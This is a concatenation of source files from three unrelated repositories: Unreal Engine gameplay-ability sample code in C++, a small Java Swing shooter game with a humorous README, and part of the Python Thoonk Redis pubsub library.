// You must call this function manually when you want the AsyncTask to end.
// For UMG Widgets, you would call it in the Widget's Destruct event.
UFUNCTION(BlueprintCallable)
void EndTask();
protected:
UPROPERTY()
UAbilitySystemComponent* ASC;
FGameplayTag EffectGameplayTag;
FActiveGameplayEffectHandle ActiveEffectHandle;
virtual void OnActiveGameplayEffectAddedCallback(UAbilitySystemComponent* Target, const FGameplayEffectSpec& SpecApplied, FActiveGameplayEffectHandle ActiveHandle);
virtual void OnRemoveGameplayEffectCallback(const FActiveGameplayEffect& EffectRemoved);
virtual void GameplayEffectStackChanged(FActiveGameplayEffectHandle EffectHandle, int32 NewStackCount, int32 PreviousStackCount);
};
<file_sep>/Source/GASDocumentation/Public/UI/GDDamageTextWidgetComponent.h
// Copyright 2020 <NAME>.
#pragma once
#include "CoreMinimal.h"
#include "Components/WidgetComponent.h"
#include "GDDamageTextWidgetComponent.generated.h"
/**
* For the floating Damage Numbers when a Character receives damage.
*/
UCLASS()
class GASDOCUMENTATION_API UGDDamageTextWidgetComponent : public UWidgetComponent
{
GENERATED_BODY()
public:
UFUNCTION(BlueprintImplementableEvent, BlueprintCallable)
void SetDamageText(float Damage);
};
<file_sep>/Source/GASDocumentation/Private/Player/GDPlayerController.cpp
// Copyright 2020 <NAME>.
#include "Player/GDPlayerController.h"
#include "AbilitySystemComponent.h"
#include "Characters/Heroes/GDHeroCharacter.h"
#include "Player/GDPlayerState.h"
#include "UI/GDDamageTextWidgetComponent.h"
#include "UI/GDHUDWidget.h"
void AGDPlayerController::CreateHUD()
{
// Only create once
if (UIHUDWidget)
{
return;
}
if (!UIHUDWidgetClass)
{
UE_LOG(LogTemp, Error, TEXT("%s() Missing UIHUDWidgetClass. Please fill in on the Blueprint of the PlayerController."), *FString(__FUNCTION__));
return;
}
// Only create a HUD for local player
if (!IsLocalPlayerController())
{
return;
}
// Need a valid PlayerState to get attributes from
AGDPlayerState* PS = GetPlayerState<AGDPlayerState>();
if (!PS)
{
return;
}
UIHUDWidget = CreateWidget<UGDHUDWidget>(this, UIHUDWidgetClass);
UIHUDWidget->AddToViewport();
// Set attributes
UIHUDWidget->SetCurrentHealth(PS->GetHealth());
UIHUDWidget->SetMaxHealth(PS->GetMaxHealth());
UIHUDWidget->SetHealthPercentage(PS->GetHealth() / FMath::Max<float>(PS->GetMaxHealth(), 1.f));
UIHUDWidget->SetCurrentMana(PS->GetMana());
UIHUDWidget->SetMaxMana(PS->GetMaxMana());
UIHUDWidget->SetManaPercentage(PS->GetMana() / FMath::Max<float>(PS->GetMaxMana(), 1.f));
UIHUDWidget->SetHealthRegenRate(PS->GetHealthRegenRate());
UIHUDWidget->SetManaRegenRate(PS->GetManaRegenRate());
UIHUDWidget->SetCurrentStamina(PS->GetStamina());
UIHUDWidget->SetMaxStamina(PS->GetMaxStamina());
UIHUDWidget->SetStaminaPercentage(PS->GetStamina() / FMath::Max<float>(PS->GetMaxStamina(), 1.f));
UIHUDWidget->SetStaminaRegenRate(PS->GetStaminaRegenRate());
UIHUDWidget->SetExperience(PS->GetXP());
UIHUDWidget->SetGold(PS->GetGold());
UIHUDWidget->SetHeroLevel(PS->GetCharacterLevel());
}
UGDHUDWidget * AGDPlayerController::GetHUD()
{
return UIHUDWidget;
}
void AGDPlayerController::ShowDamageNumber_Implementation(float DamageAmount, AGDCharacterBase* TargetCharacter)
{
if (TargetCharacter && DamageNumberClass)
{
UGDDamageTextWidgetComponent* DamageText = NewObject<UGDDamageTextWidgetComponent>(TargetCharacter, DamageNumberClass);
DamageText->RegisterComponent();
DamageText->AttachToComponent(TargetCharacter->GetRootComponent(), FAttachmentTransformRules::KeepRelativeTransform);
DamageText->SetDamageText(DamageAmount);
}
}
bool AGDPlayerController::ShowDamageNumber_Validate(float DamageAmount, AGDCharacterBase* TargetCharacter)
{
return true;
}
void AGDPlayerController::SetRespawnCountdown_Implementation(float RespawnTimeRemaining)
{
if (UIHUDWidget)
{
UIHUDWidget->SetRespawnCountdown(RespawnTimeRemaining);
}
}
bool AGDPlayerController::SetRespawnCountdown_Validate(float RespawnTimeRemaining)
{
return true;
}
// Server only
void AGDPlayerController::OnPossess(APawn* InPawn)
{
Super::OnPossess(InPawn);
AGDPlayerState* PS = GetPlayerState<AGDPlayerState>();
if (PS)
{
// Init ASC with PS (Owner) and our new Pawn (AvatarActor)
PS->GetAbilitySystemComponent()->InitAbilityActorInfo(PS, InPawn);
}
}
void AGDPlayerController::OnRep_PlayerState()
{
Super::OnRep_PlayerState();
// For edge cases where the PlayerState is repped before the Hero is possessed.
CreateHUD();
}
<file_sep>/Source/GASDocumentation/Private/Characters/Minions/GDMinionCharacter.cpp
// Copyright 2020 <NAME>.
#include "Characters/Minions/GDMinionCharacter.h"
#include "Characters/Abilities/GDAbilitySystemComponent.h"
#include "Characters/Abilities/AttributeSets/GDAttributeSetBase.h"
#include "Components/CapsuleComponent.h"
#include "Components/WidgetComponent.h"
#include "Kismet/GameplayStatics.h"
#include "UI/GDFloatingStatusBarWidget.h"
AGDMinionCharacter::AGDMinionCharacter(const class FObjectInitializer& ObjectInitializer) : Super(ObjectInitializer)
{
// Create ability system component, and set it to be explicitly replicated
HardRefAbilitySystemComponent = CreateDefaultSubobject<UGDAbilitySystemComponent>(TEXT("AbilitySystemComponent"));
HardRefAbilitySystemComponent->SetIsReplicated(true);
// Minimal Mode means that no GameplayEffects will replicate. They will only live on the Server. Attributes, GameplayTags, and GameplayCues will still replicate to us.
HardRefAbilitySystemComponent->SetReplicationMode(EGameplayEffectReplicationMode::Minimal);
// Set our parent's TWeakObjectPtr
AbilitySystemComponent = HardRefAbilitySystemComponent;
// Create the attribute set, this replicates by default
// Adding it as a subobject of the owning actor of an AbilitySystemComponent
// automatically registers the AttributeSet with the AbilitySystemComponent
HardRefAttributeSetBase = CreateDefaultSubobject<UGDAttributeSetBase>(TEXT("AttributeSetBase"));
// Set our parent's TWeakObjectPtr
AttributeSetBase = HardRefAttributeSetBase;
GetCapsuleComponent()->SetCollisionResponseToChannel(ECollisionChannel::ECC_Camera, ECollisionResponse::ECR_Ignore);
UIFloatingStatusBarComponent = CreateDefaultSubobject<UWidgetComponent>(FName("UIFloatingStatusBarComponent"));
UIFloatingStatusBarComponent->SetupAttachment(RootComponent);
UIFloatingStatusBarComponent->SetRelativeLocation(FVector(0, 0, 120));
UIFloatingStatusBarComponent->SetWidgetSpace(EWidgetSpace::Screen);
UIFloatingStatusBarComponent->SetDrawSize(FVector2D(500, 500));
UIFloatingStatusBarClass = StaticLoadClass(UObject::StaticClass(), nullptr, TEXT("/Game/GASDocumentation/UI/UI_FloatingStatusBar_Minion.UI_FloatingStatusBar_Minion_C"));
if (!UIFloatingStatusBarClass)
{
UE_LOG(LogTemp, Error, TEXT("%s() Failed to find UIFloatingStatusBarClass. If it was moved, please update the reference location in C++."), *FString(__FUNCTION__));
}
}
void AGDMinionCharacter::BeginPlay()
{
Super::BeginPlay();
if (AbilitySystemComponent.IsValid())
{
AbilitySystemComponent->InitAbilityActorInfo(this, this);
InitializeAttributes();
AddStartupEffects();
AddCharacterAbilities();
// Setup FloatingStatusBar UI for Locally Owned Players only, not AI or the server's copy of the PlayerControllers
APlayerController* PC = UGameplayStatics::GetPlayerController(GetWorld(), 0);
if (PC && PC->IsLocalPlayerController())
{
if (UIFloatingStatusBarClass)
{
UIFloatingStatusBar = CreateWidget<UGDFloatingStatusBarWidget>(PC, UIFloatingStatusBarClass);
if (UIFloatingStatusBar && UIFloatingStatusBarComponent)
{
UIFloatingStatusBarComponent->SetWidget(UIFloatingStatusBar);
// Setup the floating status bar
UIFloatingStatusBar->SetHealthPercentage(GetHealth() / GetMaxHealth());
UIFloatingStatusBar->SetCharacterName(CharacterName);
}
}
}
// Attribute change callbacks
HealthChangedDelegateHandle = AbilitySystemComponent->GetGameplayAttributeValueChangeDelegate(AttributeSetBase->GetHealthAttribute()).AddUObject(this, &AGDMinionCharacter::HealthChanged);
// Tag change callbacks
AbilitySystemComponent->RegisterGameplayTagEvent(FGameplayTag::RequestGameplayTag(FName("State.Debuff.Stun")), EGameplayTagEventType::NewOrRemoved).AddUObject(this, &AGDMinionCharacter::StunTagChanged);
}
}
void AGDMinionCharacter::HealthChanged(const FOnAttributeChangeData & Data)
{
float Health = Data.NewValue;
// Update floating status bar
if (UIFloatingStatusBar)
{
UIFloatingStatusBar->SetHealthPercentage(Health / GetMaxHealth());
}
// If the minion died, handle death
if (!IsAlive() && !AbilitySystemComponent->HasMatchingGameplayTag(DeadTag))
{
Die();
}
}
void AGDMinionCharacter::StunTagChanged(const FGameplayTag CallbackTag, int32 NewCount)
{
if (NewCount > 0)
{
FGameplayTagContainer AbilityTagsToCancel;
AbilityTagsToCancel.AddTag(FGameplayTag::RequestGameplayTag(FName("Ability")));
FGameplayTagContainer AbilityTagsToIgnore;
AbilityTagsToIgnore.AddTag(FGameplayTag::RequestGameplayTag(FName("Ability.NotCanceledByStun")));
AbilitySystemComponent->CancelAbilities(&AbilityTagsToCancel, &AbilityTagsToIgnore);
}
}
<file_sep>/Source/GASDocumentation/Private/GDAssetManager.cpp
// Copyright 2020 <NAME>.
#include "GDAssetManager.h"
#include "AbilitySystemGlobals.h"
UGDAssetManager& UGDAssetManager::Get()
{
UGDAssetManager* Singleton = Cast<UGDAssetManager>(GEngine->AssetManager);
if (Singleton)
{
return *Singleton;
}
else
{
UE_LOG(LogTemp, Fatal, TEXT("Invalid AssetManager in DefaultEngine.ini, must be GDAssetManager!"));
return *NewObject<UGDAssetManager>(); // never calls this
}
}
void UGDAssetManager::StartInitialLoading()
{
Super::StartInitialLoading();
UAbilitySystemGlobals::Get().InitGlobalData();
}
| 51e96a61e11817c26632b96135b79f30e502158b | [
"Markdown",
"INI",
"C#",
"C",
"C++"
] | 59 | C++ | tranek/GASDocumentation | 19877c6cd777dc059ee1aa6e094eae1f3f2a4cab | 49eed255c93a18b09fea41bafd94388f0c58c25c |
refs/heads/master | <file_sep>import java.awt.*;
import java.awt.event.*;
import java.util.*;
import javax.swing.*;
import javax.swing.Timer;
public class game extends JFrame implements KeyListener{
class role extends JLabel{
boolean isPlayer;
ImageIcon img;
public role(String s){
if(s.equals("player")){
isPlayer = true;
img = new ImageIcon("mario.png");
}else{
isPlayer = false;
img = new ImageIcon("enemy.png");
}
this.setIcon(img);
}
}
class bmove1 extends Thread{
private JButton b1;
private int sec;
private int x1;
private int y1;
public bmove1(JButton b, int i,int x,int y) {
b1 = b;
sec = i;
x1=x;
y1=y;
}
public void run() {
while(y1>-50){
y1-=50;
b1.setLocation(x1,y1);
sohot(b1);
try {
Thread.sleep(sec);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
}
//
class bmove2 extends Thread{
private JButton b1;
private int sec;
private int x1;
private int y1;
public bmove2(JButton b, int i,int x,int y) {
b1 = b;
sec = i;
x1=x;
y1=y;
}
public void run() {
while(x1<w){
x1+=50;
b1.setLocation(x1,y1);
sohot(b1);
try {
Thread.sleep(sec);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
}
//
class bmove3 extends Thread{
private JButton b1;
private int sec;
private int x1;
private int y1;
public bmove3(JButton b, int i,int x,int y) {
b1 = b;
sec = i;
x1=x;
y1=y;
}
public void run() {
while(y1<h){
y1+=50;
b1.setLocation(x1,y1);
sohot(b1);
try {
Thread.sleep(sec);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
}
//
class bmove4 extends Thread{
private JButton b1;
private int sec;
private int x1;
private int y1;
public bmove4(JButton b, int i,int x,int y) {
b1 = b;
sec = i;
x1=x;
y1=y;
}
public void run() {
while(x1>-50){
x1-=50;
b1.setLocation(x1,y1);
sohot(b1);
try {
Thread.sleep(sec);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
}
//
class emove extends Thread{
private ArrayList<JLabel> lab1;
private int sec;
private int x1,x2,x3,x4,x5;
public emove(ArrayList<JLabel> b, int i) {
lab1 = b;
sec = i;
}
public void run() {
x1 = (int)(Math.random()*600);
x2 = (int)(Math.random()*600);
x3 = (int)(Math.random()*600);
x4 = (int)(Math.random()*600);
x5 = (int)(Math.random()*600);
gloop = true;gloop2 = true;gloop3 = true;gloop4 = true;gloop5 = true;
int v=0,ca=0,cb=-150,cc=-300,cd=-450,ce=-600;
while(true){
if(gloop){
lab1.get(v).setLocation(x1,ca);
ca+=20;
}
if(gloop2){
lab1.get(v+1).setLocation(x2,cb);
cb+=20;
}
if(gloop3){
lab1.get(v+2).setLocation(x3,cc);
cc+=20;
}
if(gloop4){
lab1.get(v+3).setLocation(x4,cd);
cd+=20;
}
if(gloop5){
lab1.get(v+4).setLocation(x5,ce);
ce+=20;
}
try {
Thread.sleep(sec);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
if(ca>700||!gloop){
ca=0;
x1 = (int)(Math.random()*600);
gloop=true;
}if(cb>700||!gloop2){
cb=-50;
x2 = (int)(Math.random()*600);
gloop2=true;
}if(cc>700||!gloop3){
cc=-100;
x3 = (int)(Math.random()*600);
gloop3=true;
}if(cd>700||!gloop4){
cd=-150;
x4 = (int)(Math.random()*600);
gloop4=true;
}if(ce>700||!gloop5){
ce=-200;
x5 = (int)(Math.random()*600);
gloop5=true;
}
}
}
}
static int h=800,w=700;
role player;
static JButton[] bullet = new JButton[10];
static ImageIcon[] img;
static ArrayList<JLabel> enemy = new ArrayList<JLabel>();
static Timer fail;
static boolean gloop,gloop2,gloop3,gloop4,gloop5;
static int score;
static JLabel scorelabel;
/**
* @param args
*/
public static void main(String[] args) {
// TODO Auto-generated method stub
game app = new game();
app.setDefaultCloseOperation(EXIT_ON_CLOSE);
app.setSize(w, h);
app.setResizable(false);
app.setLocationRelativeTo(null);
app.setVisible(true);
}
public game(){
score=0;
scorelabel = new JLabel("Score :"+score);
scorelabel.setFont(new Font("Serif", Font.PLAIN, 30));
scorelabel.setForeground(Color.BLUE);
scorelabel.setBounds(5,5,700,30);
ImageIcon icon = new ImageIcon("back.png");
icon.getImage().flush();
JLabel backimg_label = new JLabel();
backimg_label.setIcon(icon);
setContentPane(backimg_label);
img = new ImageIcon[4];
img[0] = new ImageIcon("img.png");
img[1] = new ImageIcon("img1.png");
img[2] = new ImageIcon("img2.png");
img[3] = new ImageIcon("img3.png");
Container c = getContentPane();
player = new role("player");
c.add(scorelabel);
for (int i = 0; i < 10; i++) {
enemy.add(new role("monster")); //飛彈
c.add(enemy.get(i));
}
player.setBounds(-100,-100,100,100);
player.setBounds(w/2,h-100,70,100);
for (int i = 0; i < enemy.size(); i++) {
JLabel en = enemy.get(i);//取得第i顆飛彈
en.setBounds(-200 ,-200, 100, 100);
}
emove e = new emove(enemy,100);
e.start();
c.setLayout(null);
c.add(player);
addKeyListener(this);
}
@Override
public void keyPressed(KeyEvent e) {
// TODO Auto-generated method stub
int x = player.getLocation().x;
int y = player.getLocation().y;
if (e.getKeyCode() == KeyEvent.VK_UP){
y = Math.max(0, y-30);
}if(e.getKeyCode() == KeyEvent.VK_DOWN){
y = Math.min(h-player.getSize().height, y+30);
}if (e.getKeyCode() == KeyEvent.VK_LEFT){
x = Math.max(0, x-30);
}if (e.getKeyCode() == KeyEvent.VK_RIGHT){
x = Math.min(w-player.getSize().width, x+30);
}
player.setLocation(x, y);
if(e.getKeyCode() == KeyEvent.VK_A){
JButton mjb = new JButton();//取得第i顆飛彈
mjb.setOpaque(false);
mjb.setContentAreaFilled(false);
mjb.setBorderPainted(false);
mjb.setIcon(img[3]);
mjb.setBounds(x,y, 50, 100);
add(mjb); //加入視窗 JFrame
bmove4 m = new bmove4(mjb,30,x,y);
m.start();
}
if(e.getKeyCode() == KeyEvent.VK_D){
JButton mjb = new JButton();//取得第i顆飛彈
mjb.setOpaque(false);
mjb.setContentAreaFilled(false);
mjb.setBorderPainted(false);
mjb.setIcon(img[1]);
mjb.setBounds(x,y, 50, 100);
add(mjb); //加入視窗 JFrame
bmove2 m = new bmove2(mjb,30,x,y);
m.start();
}
if(e.getKeyCode() == KeyEvent.VK_S){
JButton mjb = new JButton();//取得第i顆飛彈
mjb.setOpaque(false);
mjb.setContentAreaFilled(false);
mjb.setBorderPainted(false);
mjb.setIcon(img[2]);
mjb.setBounds(x,y, 100, 50);
add(mjb); //加入視窗 JFrame
bmove3 m = new bmove3(mjb,30,x,y);
m.start();
}
if(e.getKeyCode() == KeyEvent.VK_W){
JButton mjb = new JButton();//取得第i顆飛彈
mjb.setOpaque(false);
mjb.setContentAreaFilled(false);
mjb.setBorderPainted(false);
mjb.setIcon(img[0]);
mjb.setBounds(x,y, 100, 50);
add(mjb); //加入視窗 JFrame
bmove1 m = new bmove1(mjb,30,x,y);
m.start();
}
}
@Override
public void keyReleased(KeyEvent e) {}
@Override
public void keyTyped(KeyEvent arg0) {}
static void sohot(JButton lbj){
int x = lbj.getLocation().x;
int y = lbj.getLocation().y;
for(int i=0;i<enemy.size();i++){
int xx=enemy.get(i).getLocation().x;
int yy=enemy.get(i).getLocation().y;
if(Math.abs(xx-x)<=70 && Math.abs(yy-y)<=70){
enemy.get(i).setLocation(-200,-200);
score+=50;
scorelabel.setText("Score :"+score);
if(i==0)gloop = false;
if(i==1)gloop2 = false;
if(i==2)gloop3 = false;
if(i==3)gloop4 = false;
if(i==4)gloop5 = false;
}
}
}
}
<file_sep># Raidencat
大一Java期末遊戲專案

##角色
###瑪莉喵

絕對不是抄襲知名惡搞瑪莉喵的圖然後幫她隨便畫上會噴火的腳就交件
###敵人

絕對不是抄襲同上作品的敵人
###子彈

絕對不是隨便找個雷電類型遊戲的製作物件拿回來去背後轉成4個角度就當子彈
##背景圖

絕對不是因為做到一半太無聊跑去打LOL卻在列隊等待而拿列隊的背景來用
##玩法
方向鍵控制角色移動
ASDW賦予彈丸飛行方向
遊戲開始敵人會從天而降
可以像刷伊澤瑞爾大絕一樣
從4個方位發射子彈殺死敵人
主角內建凱爾的大絕無敵
*絕對不是因為懶而沒寫死亡條件*
分數到達一定量即結束
本產品並沒有付費DLC
##製作組
####小靳 / 企劃
####坊吉 / 開發
####武末,凱文 / 繪圖
| 637af45ecdf8758175c806d0f57150196b8afe2c | [
"Markdown",
"Java"
] | 2 | Java | akira9478/Raidencat | 60e4c3dbdbdfcbb2a7339234afc530493c9ea795 | 5356ee4aa71ab35a86854a297bad25a949e20fc8 |
refs/heads/master | <file_sep>class Atm {
constructor (balance, interest, transactions) {
this.balance = 0
this.interest = 0.001
this.transactions = []
}
calcInterest () {
var ret = Math.round(this.balance + this.balance * this.interest)
this.transactions.push('User calculated interest: $' + ret + '\n')
console.log(ret)
}
checkBalance () {
this.transactions.push('User checked balance: $' + this.balance + '\n')
console.log(this.balance)
}
checkWithdrawal (amount) {
return this.balance > amount
}
deposit (amount) {
this.transactions.push('User deposited $' + amount + '\n')
this.balance += amount
}
printTransactions () {
console.log(this.transactions)
}
withdraw (amount) {
if (this.checkWithdrawal(amount)) {
this.transactions.push('user withdrew $' + amount)
this.balance -= amount
return amount
}
else {
this.transactions.push('user tried to withdraw $' + amount)
console.log('Insufficient funds')
}
}
}
var atm = new Atm()
var validInputs = ['deposit', 'd', 'withdraw', 'w', 'check balance', 'b', 'history', 'h', 'exit', 'x']
while (true) {
var op = prompt('What would you like to do? \n((d)eposit, (w)ithdraw, check (b)alance, check (h)istory, or e(x)it): ')
if (op.startsWith('x')) {
console.log('aight pce dude')
break
}
if (validInputs.includes(op)) {
while (true) {
if (op.startsWith('d')) {
var ui = prompt('how much would you like to' + op)
let amount = parseInt(ui)
atm.deposit(amount)
break
}
else if (op.startsWith('w')) {
var inp = prompt('how much would you like to withdraw?')
let amount = parseInt(inp)
atm.withdraw(amount)
break
}
else if (op.startsWith('b')) {
atm.checkBalance()
break
}
else if (op.startsWith('h')) {
console.log(atm.printTransactions)
break
}
}
}
else {
console.log('not valid input, try again you idiot')
}
}
| 73b7a0e3e051d84eb869df5b0d0712c17b282b4e | [
"JavaScript"
] | 1 | JavaScript | matteokg/Nightintrojavascript | 4f7ea698d3b780127db030947666cb796e38afd6 | 2fae6b4820758713097798c2940961425a2d5212 |
refs/heads/master | <repo_name>six8/thoonk.py<file_sep>/thoonk/feeds/feed.py
"""
Written by <NAME> and <NAME>. Copyright 2011 by &yet, LLC.
Released under the terms of the MIT License
"""
import json
import threading
import time
import uuid
try:
import queue
except ImportError:
import Queue as queue
from thoonk.exceptions import *
class Feed(object):
"""
A Thoonk feed is a collection of items ordered by publication date.
The collection may either be bounded or unbounded in size. A bounded
feed is created by adding the field 'max_length' to the configuration
with a value greater than 0.
Attributes:
thoonk -- The main Thoonk object.
redis -- A Redis connection instance from the Thoonk object.
feed -- The name of the feed.
config -- A dictionary of configuration values.
Redis Keys Used:
feed.ids:[feed] -- A sorted set of item IDs.
feed.items:[feed] -- A hash table of items keyed by ID.
feed.publish:[feed] -- A pubsub channel for publication notices.
feed.publishes:[feed] -- A counter for number of published items.
feed.retract:[feed] -- A pubsub channel for retraction notices.
feed.config:[feed] -- A JSON string of configuration data.
feed.edit:[feed] -- A pubsub channel for edit notices.
Thoonk.py Implementation API:
get_channels -- Return the standard pubsub channels for this feed.
event_publish -- Process publication events.
event_retract -- Process item retraction events.
delete_feed -- Delete the feed and its contents.
get_schemas -- Return the set of Redis keys used by this feed.
Thoonk Standard API:
get_ids -- Return the IDs of all items in the feed.
get_item -- Return a single item from the feed given its ID.
get_all -- Return all items in the feed.
publish -- Publish a new item to the feed, or edit an existing item.
retract -- Remove an item from the feed.
"""
def __init__(self, thoonk, feed, config=None):
"""
Create a new Feed object for a given Thoonk feed.
Note: More than one Feed objects may be create for the same
Thoonk feed, and creating a Feed object does not
automatically generate the Thoonk feed itself.
Arguments:
thoonk -- The main Thoonk object.
feed -- The name of the feed.
config -- Optional dictionary of configuration values.
"""
self.config_lock = threading.Lock()
self.config_valid = False
self.thoonk = thoonk
self.redis = thoonk.redis
self.feed = feed
self._config = None
self.feed_ids = 'feed.ids:%s' % feed
self.feed_items = 'feed.items:%s' % feed
self.feed_publish = 'feed.publish:%s' % feed
self.feed_publishes = 'feed.publishes:%s' % feed
self.feed_retract = 'feed.retract:%s' % feed
self.feed_config = 'feed.config:%s' % feed
self.feed_edit = 'feed.edit:%s' % feed
# Thoonk.py Implementation API
# =================================================================
def get_channels(self):
"""
Return the Redis key channels for publishing and retracting items.
"""
return (self.feed_publish, self.feed_retract)
def event_publish(self, id, value):
"""
Process an item published event.
Meant to be overridden.
Arguments:
id -- The ID of the published item.
value -- The content of the published item.
"""
pass
def event_retract(self, id):
"""
Process an item retracted event.
Meant to be overridden.
Arguments:
id -- The ID of the retracted item.
"""
pass
@property
def config(self):
"""
Return the feed's configuration.
If the cached version is marked as invalid, then a new copy of
the config will be retrieved from Redis.
"""
with self.config_lock:
if not self.config_valid:
conf = self.redis.get(self.feed_config)
self._config = json.loads(conf)
self.config_valid = True
return self._config
@config.setter
def config(self, config):
"""
Set a new configuration for the feed.
Arguments:
config -- A dictionary of configuration values.
"""
with self.config_lock:
self.thoonk.set_config(self.feed, config)
self.config_valid = False
@config.deleter
def config(self):
"""Mark the current configuration cache as invalid."""
with self.config_lock:
self.config_valid = False
def delete_feed(self):
"""Delete the feed and its contents."""
self.thoonk.delete_feed(self.feed)
def get_schemas(self):
"""Return the set of Redis keys used exclusively by this feed."""
return set((self.feed_ids, self.feed_items, self.feed_publish,
self.feed_publishes, self.feed_retract, self.feed_config,
self.feed_edit))
# Thoonk Standard API
# =================================================================
def get_ids(self):
"""Return the set of IDs used by items in the feed."""
return self.redis.zrange(self.feed_ids, 0, -1)
def get_item(self, id=None):
"""
Retrieve a single item from the feed.
Arguments:
id -- The ID of the item to retrieve.
"""
if id is None:
self.redis.hget(self.feed_items,
self.redis.lindex(self.feed_ids, 0))
else:
return self.redis.hget(self.feed_items, id)
def get_all(self):
"""Return all items from the feed."""
return self.redis.hgetall(self.feed_items)
def publish(self, item, id=None):
"""
Publish an item to the feed, or replace an existing item.
Newly published items will be at the top of the feed, while
edited items will remain in their original order.
If the feed has a max length, then the oldest entries will
be removed to maintain the maximum length.
Arguments:
item -- The content of the item to add to the feed.
id -- Optional ID to use for the item, if the ID already
exists, the existing item will be replaced.
"""
publish_id = id
if publish_id is None:
publish_id = uuid.uuid4().hex
while True:
self.redis.watch(self.feed_ids)
max = int(self.config.get('max_length', 0))
pipe = self.redis.pipeline()
if max > 0:
delete_ids = self.redis.zrange(self.feed_ids, 0, -max)
for id in delete_ids:
if id != publish_id:
pipe.zrem(self.feed_ids, id)
pipe.hdel(self.feed_items, id)
pipe.publish(self.feed_retract, id)
pipe.zadd(self.feed_ids, publish_id, time.time())
pipe.incr(self.feed_publishes)
pipe.hset(self.feed_items, publish_id, item)
try:
results = pipe.execute()
break
except redis.exceptions.WatchError:
pass
if results[-3]:
# If zadd was successful
self.thoonk._publish(self.feed_publish, (publish_id, item))
else:
self.thoonk._publish(self.feed_edit, (publish_id, item))
return publish_id
def retract(self, id):
"""
Remove an item from the feed.
Arguments:
id -- The ID value of the item to remove.
"""
while True:
self.redis.watch(self.feed_ids)
if self.redis.zrank(self.feed_ids, id) is not None:
pipe = self.redis.pipeline()
pipe.zrem(self.feed_ids, id)
pipe.hdel(self.feed_items, id)
pipe.publish(self.feed_retract, id)
try:
pipe.execute()
return
except redis.exceptions.WatchError:
pass
else:
self.redis.unwatch()
break
<file_sep>/thoonk/config.py
"""
Written by <NAME> and <NAME>. Copyright 2011 by &yet, LLC.
Released under the terms of the MIT License
"""
import json
import threading
import uuid
class ConfigCache(object):
"""
The ConfigCache class stores an in-memory version of each
feed's configuration. As there may be multiple systems using
Thoonk with the same Redis server, and each with its own
ConfigCache instance, each ConfigCache has a self.instance
field to uniquely identify itself.
Attributes:
thoonk -- The main Thoonk object.
instance -- A hex string for uniquely identifying this
ConfigCache instance.
Methods:
invalidate -- Force a feed's config to be retrieved from
Redis instead of in-memory.
"""
def __init__(self, thoonk):
"""
Create a new configuration cache.
Arguments:
thoonk -- The main Thoonk object.
"""
self._feeds = {}
self.thoonk = thoonk
self.lock = threading.Lock()
self.instance = uuid.uuid4().hex
def __getitem__(self, feed):
"""
Return a feed object for a given feed name.
Arguments:
feed -- The name of the requested feed.
"""
with self.lock:
if feed in self._feeds:
return self._feeds[feed]
else:
if not self.thoonk.feed_exists(feed):
raise FeedDoesNotExist
config = self.thoonk.redis.get('feed.config:%s' % feed)
config = json.loads(config)
feed_type = config.get(u'type', u'feed')
feed_class = self.thoonk.feedtypes[feed_type]
self._feeds[feed] = feed_class(self.thoonk, feed, config)
return self._feeds[feed]
def invalidate(self, feed, instance, delete=False):
"""
Delete a configuration so that it will be retrieved from Redis
instead of from the cache.
Arguments:
feed -- The name of the feed to invalidate.
instance -- A UUID identifying the cache which made the
invalidation request.
delete -- Indicates if the entire feed object should be
invalidated, or just its configuration.
"""
if instance != self.instance:
with self.lock:
if feed in self._feeds:
if delete:
del self._feeds[feed]
else:
del self._feeds[feed].config
<file_sep>/thoonk/pubsub.py
"""
Written by <NAME> and <NAME>. Copyright 2011 by &yet, LLC.
Released under the terms of the MIT License
"""
import json
import redis
import threading
import uuid
from thoonk import feeds
from thoonk.exceptions import *
from thoonk.config import ConfigCache
class Thoonk(object):
"""
Thoonk provides a set of additional, high level datatypes with feed-like
behaviour (feeds, queues, sorted feeds, job queues) to Redis. A default
Thoonk instance will provide four feed types:
feed -- A simple list of entries sorted by publish date. May be
either bounded or bounded in size.
queue -- A feed that provides FIFO behaviour. Once an item is
pulled from the queue, it is removed.
job -- Similar to a queue, but an item is not removed from the
queue after it has been request until a job complete
notice is received.
sorted feed -- Similar to a normal feed, except that the ordering of
items is not limited to publish date, and can be
manually adjusted.
Thoonk.py also provides an additional pyqueue feed type which behaves
identically to a queue, except that it pickles/unpickles Python
datatypes automatically.
The core Thoonk class provides infrastructure for creating and
managing feeds.
Attributes:
db -- The Redis database number.
feeds -- A set of known feed names.
_feed_config -- A cache of feed configurations.
feedtypes -- A dictionary mapping feed type names to their
implementation classes.
handlers -- A dictionary mapping event names to event handlers.
host -- The Redis server host.
password -- The Redis server password.
listen_ready -- A thread event indicating when the listening
Redis connection is ready.
listening -- A flag indicating if this Thoonk instance is for
listening to publish events.
lredis -- A Redis connection for listening to publish events.
port -- The Redis server port.
redis -- The Redis connection instance.
Methods:
close -- Terminate the listening Redis connection.
create_feed -- Create a new feed using a given type and config.
create_notice -- Execute handlers for feed creation event.
delete_feed -- Remove an existing feed.
delete_notice -- Execute handlers for feed deletion event.
feed_exists -- Determine if a feed has already been created.
get_feeds -- Return the set of active feeds.
listen -- Start the listening Redis connection.
publish_notice -- Execute handlers for item publish event.
register_feedtype -- Make a new feed type available for use.
register_handler -- Assign a function as an event handler.
retract_notice -- Execute handlers for item retraction event.
set_config -- Set the configuration for a given feed.
"""
def __init__(self, host='localhost', port=6379, db=0, password=None, listen=False):
"""
Start a new Thoonk instance for creating and managing feeds.
Arguments:
host -- The Redis server name.
port -- Port for connecting to the Redis server.
db -- The Redis database to use.
listen -- Flag indicating if this Thoonk instance should listen
for feed events and relevant event handlers. Defaults
to False.
"""
self.host = host
self.port = port
self.db = db
self.redis = redis.Redis(host=self.host, port=self.port, db=self.db, password=<PASSWORD>)
self.lredis = None
self.feedtypes = {}
self.feeds = set()
self._feed_config = ConfigCache(self)
self.handlers = {
'create_notice': [],
'delete_notice': [],
'publish_notice': [],
'retract_notice': [],
'position_notice': []}
self.listen_ready = threading.Event()
self.listening = listen
self.feed_publish = 'feed.publish:%s'
self.feed_retract = 'feed.retract:%s'
self.feed_config = 'feed.config:%s'
